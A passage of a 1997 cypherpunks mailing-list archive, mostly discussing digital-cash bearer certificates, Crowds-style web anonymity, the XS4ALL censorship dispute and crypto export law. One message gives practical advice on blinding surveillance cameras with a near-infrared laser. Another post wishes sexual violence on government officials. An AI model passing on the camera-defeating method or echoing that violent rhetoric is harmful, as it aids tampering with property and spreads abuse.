DigiBank". These can be done with ordinary digital signatures. No blinding or patent issues arise (by the end of this year, when the patents expire!). These are not blinded, so they are in principle traceable. They have to have unique serial numbers to solve the double spending problem, and those could be used to track them. This makes them less attractive from the privacy perspective, but what about from the point of view of the financial markets? Can they just ignore the serial numbers and treat them as the bearer certificates you have been talking about? (Don't real bearer certificates often have serial numbers on them?) Maybe this geodesic market you're talking about (which I don't understand at all) could work with current technology? Hal From hal at rain.org Fri May 2 15:19:36 1997 From: hal at rain.org (Hal Finney) Date: Sat, 3 May 1997 06:19:36 +0800 Subject: A new system for anonymity on the web Message-ID: <199705022121.OAA01551@crypt.hfinney.com> Adam Back, , writes: > Hal Finney writes: > > Theoretically, at least for long downloads, passing through multiple > > slow links shouldn't slow down the transmission, > > I'm not sure that this is so. > [...] > When Alice and Bob are online, consider that they are actually using > their bandwidth most of the time. I know I do; if I'm not using it I > hang up, with pay per second phone lines, you're likely to. Actually here in the U.S. most people have access to unmetered Internet access these days. Local and national ISP's are almost always that way, and AOL offers that option now as well. I find that I tend to browse in "flurries", paging around a bit, then settling down to read for a while. But you're right, I did not consider the interference among multiple paths running through a jondo. That issue applies to the higher speed links as well. If average path length is n, then on average there will be about n paths going through each jondo (assuming all "home" jondos have set up paths). So the question will be whether the average person uses more than 1/n of the bandwidth available during the time he is connected. This will no doubt depend on the pricing model for Internet service, as you suggest. > > just increase the latency. I don't have a very clear picture about > > how long it would take to snake in and out of a bunch of people's > > modem lines en route to the web server. > > I'm sure it's going to increase the latency too. My ping times are > 200ms from the PPP link alone (ie pinging the PPP server machine > itself). Add to this that the members of the jondo / crowds pool may > not be on the same ISP, and you've got the additional overheads of > whatever latency is added by the cumulative latency between each of > the hops in the chain. Yes, latency would be cumulative, and I just tested mine and found it was 160-220 ms, about the same as what you saw. So running through say 5 jondos at the end of modem paths would add about a second of latency. I think this would be fine if it only happened once per web page, but almost intolerable if it was once per tiny picture. > I wonder if you could improve the security of this by trading off > against some additional bandwidth consumption for the ISP. Say have > split the jondo in half, with two cooperating half-Jondos acting as a > single virtual jondo in such a way that someone with root access on > one machine but not the other, can't extract any useful information by > spying on that half of the jondo. This is an intriguing idea. Secure multiparty calculation protocols allow calculations to be made such that neither machine would have access to all the data. It is an interesting question how this could be applied to the anonymous communication problem. In this specific case, if the Crowds system were enhanced so that end-to-end encryption was used (which seems very practical and useful), you could run a jondo on your PC whose only function was to link to the jondo on the ISP and then set up the additional path through the jondo net. The path between your local PC jondo and the end one in the path would be encrypted, so even root on the local ISP could not see the contents of what you send down the jondo path. He might still be able to see when you were sending and when not, but he couldn't tell where it was going. Hal From dlv at bwalk.dm.com Fri May 2 15:37:49 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 3 May 1997 06:37:49 +0800 Subject: A Letter from the Smithsonian In-Reply-To: <199705021552.IAA02491@fat.doobie.com> Message-ID: <0yB46D2w165w@bwalk.dm.com> nobody at huge.cajones.com (Huge Cajones Remailer) writes: > Dear Dr. Dimitri Vulis, Thanks - I'm laughing my head off. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Fri May 2 15:50:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sat, 3 May 1997 06:50:14 +0800 Subject: Booby traps, but no anarchist writings In-Reply-To: Message-ID: Lou Poppler writes: > >From today's NYT > http://www.nytimes.com/yr/mo/day/news/national/ny-explosives.html > > [N] EW YORK -- A Bronx man who booby-trapped his > apartment with homemade bombs accidentally blew his > left hand off Thursday morning, the police said, > [snip] > Just what Saperstein -- who has a criminal record dating > back to 1983 for weapons possession, disorderly conduct > and drug possession -- was doing with all the explosives > puzzled investigators. > > "There's no indication he was involved in any group," > said a police investigator, who spoke on the condition > of anonymity. "There were no rantings or anarchist > writings of any kind." > [snip] > [end of quoted material] > > Good thing this guy didn't have a folder of old cypherpunks messages on a > hard drive! Then he'd *really* be in trouble I guess. They don't mention whether he learned how to make bombs on the Internet, which means they haven't ruled out this possibility either. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From safepassage-sales at c2.net Fri May 2 15:55:47 1997 From: safepassage-sales at c2.net (SafePassage Sales) Date: Sat, 3 May 1997 06:55:47 +0800 Subject: SafePassage Web Proxy follow-up Message-ID: <199705022240.PAA25347@gabber.c2.net> Dear SafePassage Evaluator: It's been a while since you downloaded the evaluation version of SafePassage, and we just wanted to check in to see how things were going. If you have problems installing SafePassage, using SafePassage with your current browser, or any other questions about our SafePassage product line, please email: safepassage-sales at c2.net or safepassage at ukweb.com If applicable, please include some recent samples of your log files, and detailed information on your platform and the version of SafePassage you're using. If you have sales or ordering questions, please feel free to give us a call at 510 986 8770. Our hours are 10 am to 6 pm, Pacific Daylight Time. You can also contact UKWeb, our European partner and master distributor, at +44 113 222 0046. -- Join our Early Adopter Program: For the following applications, we are offering a flat-fee license of $45,000 per year, provided payment is received by May 15, 1997: (a) Banks, for distribution to their customers. (b) Internet Service Providers, for distribution to their customers. (c) Companies, for internal use. From cpunks at algebra.com Fri May 2 16:12:49 1997 From: cpunks at algebra.com (cpunks at algebra.com) Date: Sat, 3 May 1997 07:12:49 +0800 Subject: Artikel about XS4ALL in New York Times (fwd) Message-ID: <199705022300.SAA07523@manifold.algebra.com> ----- Forwarded message from tank ----- >From cpunks at manifold.algebra.com Fri May 2 05:04:57 1997 From: tank Message-Id: <199705020912.LAA11297 at xs1.xs4all.nl> Subject: Artikel about XS4ALL in New York Times To: tank at xs4all.nl Date: Fri, 2 May 1997 11:12:37 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-cypherpunks at toad.com Precedence: bulk THE NEW YORK TIMES/CYBERTIMES www.nytimes.com April 29, 1997 By BRUNO GIUSSANI For an ISP in the Netherlands, Controversy Is an Old Friend AMSTERDAM -- April has meant business as usual at XS4ALL (access-for-all), the third-largest Internet service provider in the Netherlands. The month started off with the XS4ALL Web site being out of reach for a substantial portion of the European online population, and it is ending with the provider's adding a notch to its track record as a champion of freedom of speech. On April 11 the Dutch Web site was blocked by the German academic network, Deutsche Forschungsnetz (DFN), which serves about 400 universities and research organizations and provides Internet access to a half million people. DFN acted under pressure from the Federal Criminal Investigation Bureau pointing out the illegal -- in Germany, though not in the Netherlands -- content of Radikal Magazine, which is housed on the XS4ALL server. Radikal, a left-wing underground magazine, advocates "militant and armed interventions" to overthrow the government, and has published a "Short guide to hindering railway transports of all kinds" -- a handbook describing how to attack and damage tracks. Since selectively barring single home pages is technically impossible, the DNF action cut off all 6,000 pages on the XS4ALL servers, including those of Serbian opposition radio station B-92 and several scientific databases. Thus, while blocking illegal material, the German network was also hampering scientific work -- which DFN has been established to nurture. Not to mention that skilled Internet users could route around the obstacle by using a remailing system or a proxy server located abroad. What's more, Radikal Magazine can be found on several dozen "mirror sites" around the world. Ten days later -- after being flooded by protests -- the German network lifted the ban on XS4ALL. "An effective blockage of illegal information has not been within the realms of possibility," Klaus-Eckart Maass, a DFN spokesman, conceded in an interview with The Associated Press. Now, this happened the very same week as the indictment of a German manager of CompuServe, a leading international online service, for the transmission of allegedly illegal materials over the Internet and as the German Parliament opened discussions on a new multimedia law. The new bill would place the responsibility for content on the supplier of the data, thus Internet service providers would not be held liable for illegal information that could pass over their wires unless they have been alerted and "have the technical ability" to delete or block it -- the very same scheme the German academic network found impossible to enforce. It was not the first time XS4ALL had been at the forefront of an Internet skirmish. Last September, most German ISPs blocked XS4ALL for a month after complaints by a regional prosecutor about Radikal. (In January Angela Marquardt, a Bavarian socialist politician, was indicted for linking to the banned magazine from her personal home page). "After a couple of weeks, the censored information was mirrored on some 50 Web sites around the world and voluntarily removed by our user from the XS4ALL server," the company's founder, Felipe Rodriquez, 28, explained. "After the block had ended, our user put the documents back on his page." Along with German prosecutors, the Amsterdam-based provider has lined up a fair list of other adversaries: the McDonald's fast-food chain, the Serbian government and the Church of Scientology, just to name a few. XS4ALL's roots reach into the hacker movement. The venture started out in 1993 "to give anyone the possibility to access the Internet." At that time there were no commercial access providers in Holland. It has grown into a respectable and very successful business in less than four years, yet the principles on which it was created have not changed: "Internet for the masses" is still its motto. XS4ALL currently has 55 employees, boasts 21,000 subscribers and hosts some 6,000 home pages. "A few years ago, we would have been portrayed as a band of dangerous anarchists, bent on disrupting society," Rodriquez told the Dutch daily Trouw. "But now they have come to see that we are nice and quiet people really." The company was instrumental in the creation of the Amsterdam Digital City project, a community networking initiative backed by taxpayer's money, and Rodriquez himself played a key role in setting up the Dutch anti-child-pornography hotline, the first of its kind, last year. "Before we started the hotline, Holland had a reputation of being a kid-porn freehaven," he said in an interview last week. "We designed it as a non-censoring form of self-regulation." The hotline is run by Internet users and providers. Unlike Britain's Internet Watch Foundation, the Dutch hotline doesn't censor any information nor does it ask the provider to do so. Hotline operators contact the author of the information and ask him to remove the offending content. "If the author does not comply, we report him to the police, and he'll be prosecuted," said Rodriquez, who also is chairman of the Dutch Providers Association. "The Internet Watch Foundation forces the provider to remove the illegal content," he added. "This is a fundamentally different approach to responsibilities on the Internet. We think the author of the information is responsible for his own actions, not the provider." That's why XS4ALL didn't take any steps against the customer who posted Radikal Magazine on its server. "Our policy is that as a provider we are not in the position to judge whether this magazine is illegal in the Netherlands, therefore we do not interfere with our users' freedom of speech," Rodriquez stated. "If there is any doubt about the legality of the publication in Holland, a Dutch court of law would be the proper place to remove these doubts," he added. This was the case when, in September 1995, the Religious Technology Center -- better known as the Church of Scientology -- filed for the seizure of all the XS4ALL computer equipment "because one of our users had put on his home page some information to which Scientology said it owned the copyright." The document -- the now famous "Fishman affidavit" -- is the actual transcript of a testimony given by Steven Fishman in a Los Angeles Court in which he accused the church of having forced him to act illegally. "We denied any responsibility for the content on our users' pages; they decide for themselves what they will publish," Rodriquez recalled. "We won the litigation." The user preferred to take down the controversial document. Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to comply, as it did a few weeks ago when it shut down a customer's home page called Neuroroom, which sold marijuana and other soft drugs in Holland and abroad. The company's commitment to support free expression and democratization of the Internet doesn't stop here. Last fall when the Serbian government censored radio station B-92, XS4ALL helped design an Internet campaign and started to carry news broadcasts (in RealAudio format) that kept the rare opposition voice alive and the international public informed through independent accounts of the events occurring during the mass demonstrations in Belgrade. "They gave us disk space, donated network traffic and helped in training people," said Frank Tiggelaar, a Dutch activist for democratization in former Yugoslavia. "Basically any project we like gets free resources from XS4ALL," Rodriquez commented. The campaign of Helen Steel and Dave Morris is among the projects XS4ALL's old hackers do like. The two British environmentalists are the main characters of a civil case that started in 1990 when the McDonald's restaurant chain sued them for distributing flyers pointing at what they called the company's economic and ecological "ravages." The trial is not over yet -- but it has spawned a large Internet-based support network and fed a huge anti-McDonald's Web site called McSpotlight hosted, not surprisingly, by XS4ALL. EUROBYTES is published weekly, on Tuesdays. Click here for a list of links to other columns in the series. Related Sites Following are links to the external Web sites mentioned in this article. These sites are not part of The New York Times on the Web, and The Times has no control over their content or availability. When you have finished visiting any of these sites, you will be able to return to this page by clicking on your Web browser's "Back" button or icon until this page reappears. Bruno Giussani at eurobytes at nytimes.com welcomes your comments and suggestions. Copyright 1997 The New York Times Company -- XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe at xs4all.nl for Managing Director - - pub pgp-key 1024/A07C02F9 ----- End of forwarded message from tank ----- From aba at dcs.ex.ac.uk Fri May 2 17:01:49 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 3 May 1997 08:01:49 +0800 Subject: A new system for anonymity on the web In-Reply-To: <199705022121.OAA01551@crypt.hfinney.com> Message-ID: <199705022343.AAA02698@server.test.net> Hal Finney writes: > Adam Back, , writes: > > When Alice and Bob are online, consider that they are actually using > > their bandwidth most of the time. I know I do; if I'm not using it I > > hang up, with pay per second phone lines, you're likely to. > > Actually here in the U.S. most people have access to unmetered Internet > access these days. Local and national ISP's are almost always that way, Yes I know, and I'm envious :-) My web viewing habits suffered badly when I was no longer able to use univ equipment to play on a T1 all day instead of write a thesis. I suffered withdrawl symptoms. > So the question will be whether the average person uses more than > 1/n of the bandwidth available during the time he is connected. > This will no doubt depend on the pricing model for Internet service, > as you suggest. You can't just average it though and get a true picture. It will cause degradation of the peak available bandwidth out of your modem. You metioned browsing in flurries. If your flurry coincided with someone else's, you'd get a major slow down. If someone downloads a big file, for 15 mins, you're stuck at half speed for that interval. You'll notice this stuff when you're browsing the web and it will be annoying as hell! Your actual available bandwidth will fluctuate between 1/n and 1 where n is the no. of hops as people change their bandwidth consumption. The eternity server model allows anonymous browsing within the eternity virtual web space. To the extent that you trust the eternity server if you have an eternity server running in your shell account (provided that the webserver is apache). If it's coming out of the server's cache you're ok, if it's coming from a newspool on a disk local to the server, you're ok. Other than that you'll see the accesses going out to dejanews or altavista. But you can't cache all of usenet some of the most hot stuff which you may not want to be associated with is the sort of thing eternity is designed for. Later versions of eternity perhaps can set up pipenets between eternity servers and exchange cache contents, charge to keep data in caches, and so form their own anonymous distributed database rather than relying on news archives. If you set up a pipenet between the servers you could do something similar to what you describe below with jondos. > > Say have split the jondo in half, with two cooperating half-Jondos > > acting as a single virtual jondo in such a way that someone with > > root access on one machine but not the other, can't extract any > > useful information by spying on that half of the jondo. > > This is an intriguing idea. Secure multiparty calculation protocols allow > calculations to be made such that neither machine would have access to > all the data. It is an interesting question how this could be applied > to the anonymous communication problem. > > In this specific case, if the Crowds system were enhanced so that > end-to-end encryption was used (which seems very practical and > useful), you could run a jondo on your PC whose only function was to > link to the jondo on the ISP and then set up the additional path > through the jondo net. The path between your local PC jondo and the > end one in the path would be encrypted, so even root on the local > ISP could not see the contents of what you send down the jondo path. > He might still be able to see when you were sending and when not, > but he couldn't tell where it was going. Viewed from outside the jondo net (where the jondos function on the ISP) would be an opaque series of pipenets with contiuous bandwidth consumption and a flurry of connections to web pages sprouting off different jondos. Your modem connection would be a small pipenet link feeding into the large bandwidth jondo pipenet. The flurrys would be impossible to correlate with users. To avoid placing all trust with one jondo, you'd need bi-directional anonymous WEB traffic within the jondo net with multiple layers of encryption, so that jondos don't know where the data is going beyond the immediate hop. You know we could do this if we were willing to pay for the bandwidth. The ISPs probably won't like PipeNets though as they oversell and rely on underutilisation of sold bandwidth. If it worked out to a reasonable price for the modem user to browse the web, it might be viable. > Yes, latency would be cumulative, and I just tested mine and found it > was 160-220 ms, about the same as what you saw. So running through say > 5 jondos at the end of modem paths would add about a second of latency. > I think this would be fine if it only happened once per web page, but > almost intolerable if it was once per tiny picture. Doesn't netscape do the right thing for what you want here? I think it's option to set maximum network connections (default 4) means that it will open multiple sockets to fetch the images on the page in parallel. If you load a page with multiple largish pictures you can see it happen as they all scroll down scan line- by scan line in parallel. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199705030048.TAA15456@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199705021910.MAA07300 at server1.chromatic.com>, on 05/02/97 at 01:10 PM, Ernest Hua said: >And I don't understand why you did not respond to this point when I >brought it up earlier. This area is MOST CERTAINLY NOT free of >legislation. Have you tried to openly export a IDEA- or 3DES-based >non-key-recovery (real commercial) product lately? Have you set up an >open, publically announced FTP site where anyone can freely fetch strong >encryption sources? If not, then explain why, if there is no legislation >on this matter, couldn't you do it? Well I can't speak for Tim's actions in this area but I can say that I have made strong crypto available for download via the INet. And I ahev openly announced that I have made such available on numerious newsgroups and mailing lists. http://www.amaranth.com/~whgiii/pgpmr2.html There is no legislation on this matter only an unconstitutional presidental order. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: I don't do Windows, but OS/2 does. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM2qav49Co1n+aLhhAQGAwwP+LFiVHklv2hrgHbXZN4UXfUBfoXmJmj03 8ysTTonDW/MSADkqZv4sJ1CwcHyqjkav03Q8BMHkmm+aU29pz9Tct45BXvPXaxL3 q6kagRFFxPJlQIfDF28BsEP44TPOFCJMb+FbgXZH5ZANPndB+Qjbfz77MdWKsjhP HANONjCmnZY= =Caca -----END PGP SIGNATURE----- From rah at shipwright.com Fri May 2 18:37:58 1997 From: rah at shipwright.com (Robert Hettinga) Date: Sat, 3 May 1997 09:37:58 +0800 Subject: Bypassing the Digicash Patents In-Reply-To: <199705022130.OAA01562@crypt.hfinney.com> Message-ID: At 5:30 pm -0400 on 5/2/97, Hal Finney wrote: > Bob, if I understand you correctly, you've suggested that digital > bearer instruments will in the long run actually be more efficient than > conventional book entry based transaction models. Anonymity will be > cheaper than identified transactions. Exactly. In the same way that physical bearer certificates were cheaper to use than handwritten book entries. Before telegraphy, anyway. It was telegraphy, more than anything else, which forced the creation of book-entry settlement (using, actually, encrypted messages and prearranged authentication codes), because you could do trades at a distance, which you couldn't do with paper certificates. Database-enabled accounting was what killed large and abstract value physical bearer certificates once and for all. Especially when you could swap data sets with tape or disk packs from machine to machine. (Notice I didn't say tax law. The book entries had to be there before you could tax them. :-). Law follows reality, not the other way around. We get the government we deserve [afford], a constituency of idiots will elect one, and all that tosh.) I claim that as you get closer to completely offline digital bearer certificates, you bring back the competitive advantage of bearer certificates. Right now, we're pretty much in the on-line digital bearer certificate stage of things, but I'm claiming that even *that* makes it possible to supplant very large pieces of the book entry hierarchy we've managed to build in the industrial age. Particularly in the case of peer-to-peer transactions over great physical -- or regulatory :-) -- distances. > But, if digital bearer certificates of all kinds are, as you suggest, > cheaper and more efficient than conventional ones, why can't we just > use ordinary non-blinded digital instruments and ignore the identifying > information? I claim that the very futility of tracing those certificates creates the greatest saving, especially if the only thing you really care about is whether the trade will clear. The primary reason for keeping archives of transactions is so that you can hire a cop to hunt down someone and send them to jail when they stiff you. If you can't hunt them down, you don't have to pay the cop. :-). Cops cost lots, as most people on cypherpunks would agree. With a completely anonymous system like Chaum's, you *really* have to trust the reputation of entity backing the certificates, but you don't give a fig about who gives you the money itself. "Cash is King", right? Since there are many more buyers and sellers than certificate underwriters, and since the underwriter only keeps records of spent certificates and not all transactions (and is probably expiring keys and issues of certificates to keep the on-line storage load manageable), then at least two sets of transaction book entries (those of the buyer and seller) disappear, and the bookeeping load of the issuer is much less than that of a typical book-entry intermediary like a clearinghouse. Not to mention the offsetting book-entries of the clearing system linking multiple clearing entities. Actually, that's more an artifact of a geodesic network, and not of a digital bearer certifcate transaction system itself. > This makes them less attractive from the privacy perspective, but what > about from the point of view of the financial markets? Can they just > ignore the serial numbers and treat them as the bearer certificates you > have been talking about? (Don't real bearer certificates often have > serial numbers on them?) Yup. Actually, dollar bills have serial numbers. Bearer bonds had serial numbers. That's how you controlled the amount in circulation, and could detect some kinds of fraud, because the number of certificates issued is a published figure. But the serial number's not important from a privacy perspective once a certificate changes hands several times, especially if the population of certificates is large, like it is with dollar bills. Even the coupons, the little bits you hacked off and sent in every quarter to get paid interest, had serial numbers. However, notice that you didn't need to know *who* was sending in the coupon. The coupon itself was it's own proof for redemption. You just sent back a check payable to the person who sent in the coupon, or if the person, or person's messenger, showed up physically, you paid cash. Remember $10,000, or $100K bills? That's what they were primarily for. Cash settlement of things like large bond transactions. Paper for paper. Anyway, it's when you start registering certificates, and keeping track of who owns what, that you get the cost explosion. In that case, you're right. You could do it without blinding. Dan Simon's cash system for Microsoft operates kind of like that. You can track the original purchaser at the initial purchase, but after it's gone through a few secondary trades, including ones with yourself, tracking them is pretty much impossible. Chaum's current version of ecash has this, um, feature, which Ian Goldberg has now conveniently dispatched. Frankly, the model I promote now, with a book-entry bank as a trustee, has this problem, because you need a book-entry account at your own bank to bring money on and off the net. Of course, at some point, you could do this anonymously and in person at a currency exchange, with a bag of cash. :-). Fortunately, as I said today in a reply to Adam Back, when you create other assets on the net besides cash, and can issue them in bearer form, the problem of requiring identity for authentication goes away, because the book entries are no longer there there to repudiate. > Maybe this geodesic market you're talking about (which I don't understand > at all) could work with current technology? Moore's Law makes a given public network appear increasingly "geodesic", like Bucky Fuller's geodesic structures, because nodes (switches, processors) are comparatively cheaper than lines to build. The geodesic market is a market which lives on a geodesic network, which, as Moore's law progresses, creates smaller and smaller financial entities -- eventually automated ones -- as measured by asset size or cashflow. That's because a given amount of money, invested in an increasingly larger swarm of distributed hardware "nodes", can handle more transactions, and/or smaller amounts of money, as processor prices drop. I claim that a cash-settled, digital bearer certificate market is what will function best on a geodesic network, because it costs less to run for the reasons I outlined above. I further claim that the most efficient digital bearer certificate is an anonymous one. You get anonymity because it's a waste of resources to keep track of people who pay you in cash. And, if the system is strongly anonymous from the outset (and perfect pseudonymity is functionally anonymous), you won't even try. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From jamesd at echeque.com Fri May 2 21:42:12 1997 From: jamesd at echeque.com (jamesd at echeque.com) Date: Sat, 3 May 1997 12:42:12 +0800 Subject: FCPUNX:Layoffs at PGP Message-ID: <199705030418.VAA02520@proxy3.ba.best.com> > [arrow] PGP Pretty Good on Privacy of Layoff Details > by Kristi Coale > > [...] > > > "Internet Fast-Forward is not as closely related to the tools we > develop for individuals for privacy," he said. And the fact that > Fast-Forward filters ads which are an "inimical part of some of > the emerging Web commerce models ... we don't want to hinder this > development." I think this tells us everything we need to know about the management of PGP inc. --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd at echeque.com From harka at nycmetro.com Fri May 2 22:06:08 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Sat, 3 May 1997 13:06:08 +0800 Subject: Cyberstrike Message-ID: -----BEGIN PGP SIGNED MESSAGE----- May be of interest... In> From: cleacy at execulink.com (Chris Leacy) In> Newsgroups: comp.infosystems.www.announce In> Subject: SOFTWARE: CyberStrike 1.13a Ad filtering/Cookie cutting Proxy In> Date: 30 Apr 1997 23:28:43 -0400 In> CyberStrike: Version 1.13a First Public Release In> The first public alpha of CyberStrike was released today. In> It can be found at In> CyberStrike is a banner ad filtering, cookie cutting, HTTP In> header overriding proxy of a program. In> Whether for privacy concerns, or just to speed up your In> browsing, CyberStrike performs admirably well at it's task. In> Chris Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM2mQeTltEBIEF0MBAQEbUAf+NQOMPrml38ijLwv8MIPSkTUbtbNQebJy R4LaeYhXI6Z/OzJdX6AQC2GisxMyPiz3QWWBoAqxGkunWDHbQzDfZVWW6nZa4zLY do2r11CEWFPba1igX+8JtCm9gd11S8Zlff5Pw5eTYOMcsVSHf6Z/+iAT5aqnIdcb YU26JswL1MofhWlNhbNXYc/9wQ3uUn1hU3lin+Lujfa5+cXXlTyfz6eFcJlwD7ZY KdK7UfPMuCeZnUX/VJqBdJ1idXfC5YOlwVMBNIyQK7PgCy59FvP5CiiXhpui7uSj WijKBSMUsz2HuQIuQJf6zvW/bi5DGWr6PerTXnuVaUkjNHr4Fp13Mg== =5TtH -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From azur at netcom.com Fri May 2 22:17:54 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 3 May 1997 13:17:54 +0800 Subject: Bombs Away, from The Netly News Network Message-ID: At 3:50 PM 5/1/97, Jeff Barber wrote: >Declan McCullagh writes: >> "A >> member of the DoJ committee accessed a single web site >> on the World Wide Web and obtained the titles of 110 >> different bomb-making texts." > >I wonder if this was a bookstore. I did a search for "explosives" >on amazon.com and came up with at least that many titles. Only a >handful were of the Anarchist's Cookbook ilk. Most were academic or >industrial studies; a few were from US Govt or Govt-affiliated >organizations. Probably Paladin Press. Publisher of such notables, as Hit Man: A technical manual for independent contractors, a semi-fictional work with lots of details (written by an anonymous woman, BTW). See http://www.paladin-press.com PGP mail preferred Fingerprint: FE 90 1A 95 9D EA 8D 61 81 2E CC A9 A4 4A FB A9 Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html --------------------------------------------------------------------- Steve Schear | tel: (702) 658-2654 CEO | fax: (702) 658-2673 First ECache Corporation | 7075 West Gowan Road | Suite 2148 | Las Vegas, NV 89129 | Internet: azur at netcom.com --------------------------------------------------------------------- "I know not what instruments others may use, but as for me, give me Ecache or give me debt." From azur at netcom.com Fri May 2 22:29:50 1997 From: azur at netcom.com (Steve Schear) Date: Sat, 3 May 1997 13:29:50 +0800 Subject: Privacy news: Oakland Cameras Message-ID: >>How do you hack a camera? Physically damaging the camera works, but can get you jail time. A better solution, if you have a nearby office window facing the cameras, is to use a near-infrared laser (<$100) and blind camera. A strong IR signal will easily overwhelm the AGC circuit and cause the camera to behave as if its pointed into the sun. All video cameras contain an IR block, but it generally isn't sharp enough to cut off an 850 nm diode laser. --Steve PGP mail preferred Fingerprint: FE 90 1A 95 9D EA 8D 61 81 2E CC A9 A4 4A FB A9 Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html --------------------------------------------------------------------- Steve Schear | tel: (702) 658-2654 CEO | fax: (702) 658-2673 First ECache Corporation | 7075 West Gowan Road | Suite 2148 | Las Vegas, NV 89129 | Internet: azur at netcom.com --------------------------------------------------------------------- "I know not what instruments others may use, but as for me, give me Ecache or give me debt." From frantz at netcom.com Sat May 3 00:37:26 1997 From: frantz at netcom.com (Bill Frantz) Date: Sat, 3 May 1997 15:37:26 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: There may be something in the view that there are enough laws already on the books that if government agents want to give you grief, they can find a way. Adding another one is minor compared with preventing crypto restrictions via executive order. (How many laws did you break today? Since I drove a car, I broke at least one. With respect for the law gone, the law has only fear, and that's a function of enforcement, and subject to economic realities.) YMMV. Of course, getting rid of these kinds of laws is a project which is long overdue starting and not adding new ones would be a good start. (But that's another rant.) ------------------------------------------------------------------------- Bill Frantz | God could make the world | Periwinkle -- Consulting (408)356-8506 | in six days because he did | 16345 Englewood Ave. frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA From frantz at netcom.com Sat May 3 00:38:44 1997 From: frantz at netcom.com (Bill Frantz) Date: Sat, 3 May 1997 15:38:44 +0800 Subject: Bypassing the Digicash Patents In-Reply-To: <199705022130.OAA01562@crypt.hfinney.com> Message-ID: As Ian Goldberg has shown, you don't need blinding to meet the Digicash online protocol. Of course it is not anonymous, but it is a bearer certificate. ------------------------------------------------------------------------- Bill Frantz | God could make the world | Periwinkle -- Consulting (408)356-8506 | in six days because he did | 16345 Englewood Ave. frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA From frantz at netcom.com Sat May 3 00:41:08 1997 From: frantz at netcom.com (Bill Frantz) Date: Sat, 3 May 1997 15:41:08 +0800 Subject: digital cc transactions, digital checks vs real digital cash In-Reply-To: <199705020937.KAA00881@server.test.net> Message-ID: At 10:07 AM -0700 5/2/97, Robert Hettinga wrote: >Yup. But the neat thing about them is they take pennies to clear, instead >of quarters for paper checks. The other thing is, they're peer-to-peer. >Credit cards aren't, remember? When was the last time you sold a car or >house and took MasterCard in payment. :-). Carlsen Subaru in Palo Alto has signs in their sales offices notifying people that their agreement with their bank prevents them from taking credit cards in payment for cars. ------------------------------------------------------------------------- Bill Frantz | God could make the world | Periwinkle -- Consulting (408)356-8506 | in six days because he did | 16345 Englewood Ave. frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA From paul at fatmans.demon.co.uk Sat May 3 03:22:59 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Sat, 3 May 1997 18:22:59 +0800 Subject: Artikel about XS4ALL in New York Message-ID: On Fri, 2 May 1997, tank wrote: > "A few years ago, we would have been portrayed as a band of dangerous > anarchists, bent on disrupting society," Rodriquez told the Dutch daily > Trouw. "But now they have come to see that we are nice and quiet people > really." The only "nice people" are dangerous anarchists bent on destroying governments and buggering poloticians to death. (last part a personal preference of course, the author is totally straight but would nonetheless be distinctly amused to see any government official butt-raped to death) > The company was instrumental in the creation of the Amsterdam Digital > The hotline is run by Internet users and providers. Unlike Britain's > Internet Watch Foundation, the Dutch hotline doesn't censor any > information nor does it ask the provider to do so. Hotline operators > contact the author of the information and ask him to remove the > offending content. "If the author does not comply, we report him to > the police, and he'll be prosecuted," said Rodriquez, who also is > chairman of the Dutch Providers Association. How very benevolent. Its nice to know 